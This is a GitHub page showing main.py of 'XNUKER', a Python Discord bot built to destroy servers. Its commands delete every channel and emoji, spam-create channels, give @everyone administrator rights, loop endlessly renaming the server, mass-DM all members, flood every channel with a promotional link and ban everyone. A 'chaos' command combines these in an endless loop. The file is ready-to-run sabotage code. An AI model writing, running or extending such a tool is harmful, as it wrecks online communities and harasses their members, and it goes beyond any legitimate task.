-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
112 lines (85 loc) · 3.37 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import discord
from discord.ext import commands
import random
import colorama
from colorama import Fore
import os
import ctypes
ctypes.windll.kernel32.SetConsoleTitleW("XNUKER")
os.system("cls")
serverName = "-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghyjklmnopqrstuvwxyz_+(012456789{}][:|\\<>?,./"
bot = commands.Bot(command_prefix=">", intents=discord.Intents().all())
token = ''
@bot.event
async def on_ready():
print(f""" ___ ___ _____ ___ ____ ____ __ ___ _______ _______
|" \/" |(\" \|" \ (" _||_ " ||/"| / ")/" "| /" \
\ \ / |.\\ \ || ( ) : |(: |/ /(: ______)|: |
\\ \/ |: \. \\ |(: | | . )| __/ \/ | |_____/ )
/\. \ |. \ \. | \\ \__/ // (// _ \ // ___)_ // /
/ \ \ | \ \ | /\\ __ //\ |: | \ \(: "||: __ \
|___/\___| \___|\____\)(__________)(__| \__)\_______)|__| \___)
Logged in as: {bot.user.name}#{bot.user.discriminator}\n""")
print("Commands:\n")
print(f"""{Fore.RED}[1]{Fore.RESET} >nuke [Deletes & replaces all channels]
{Fore.RED}[2]{Fore.RESET} >channelspam (amount) (channel name) [Creates channels]
{Fore.RED}[3]{Fore.RESET} >perms [Gives everyone admin permissions]
{Fore.RED}[4]{Fore.RESET} >randomize [Randomizes server name, may cause server lag and admins won't be able to change server settings]
{Fore.RED}[5]{Fore.RESET} >massdm (text) [Mass dm all users]
{Fore.RED}[6]{Fore.RESET} >spam (amount) (message) [Spams a message in every channel]
{Fore.RED}[7]{Fore.RESET} >chaos [Kill server with 1 command]
{Fore.RED}[8]{Fore.RESET} >ban [Bans everyone]""")
@bot.command()
async def nuke(ctx):
await ctx.message.delete()
for channel in ctx.guild.channels:
await channel.delete()
channel = await ctx.guild.create_text_channel("XNUKER")
@bot.command()
async def channelspam(ctx, amount, channelname):
await ctx.message.delete()
for x in range(int(amount)):
channel = await ctx.guild.create_text_channel(channelname)
@bot.command()
async def perms(ctx):
await ctx.message.delete()
everyonerole = discord.utils.get(ctx.guild.roles, name="@everyone")
await everyonerole.edit(permissions = discord.Permissions().all())
@bot.command()
async def randomize(ctx):
await ctx.message.delete()
while True:
await ctx.guild.edit(name=''.join(random.sample(serverName, len(serverName))))
@bot.command()
async def massdm(ctx, *, text):
await ctx.message.delete()
members = ctx.guild.members
for member in members:
await member.send(text)
@bot.command()
async def spam(ctx, amount, message):
await ctx.message.delete()
for x in range(int(amount)):
for channel in ctx.guild.channels:
await channel.send(message)
@bot.command()
async def ban(ctx):
for member in ctx.guild.members:
try:
await member.ban(reason="XNUKER")
except:
pass
@bot.command()
async def chaos(ctx):
for emoji in list(ctx.guild.emojis):
await emoji.delete()
for channel in ctx.guild.channels:
await channel.delete()
channel = await ctx.guild.create_text_channel("XNUKER")
for x in range(20):
channel = await ctx.guild.create_text_channel("XNUKER")
while True:
for channel in ctx.guild.channels:
await channel.send("@everyone XNUKER ON TOP https://dsc.gg/xwares")
await ctx.guild.edit(name=''.join(random.sample(serverName, len(serverName))))
bot.run(token, bot=True)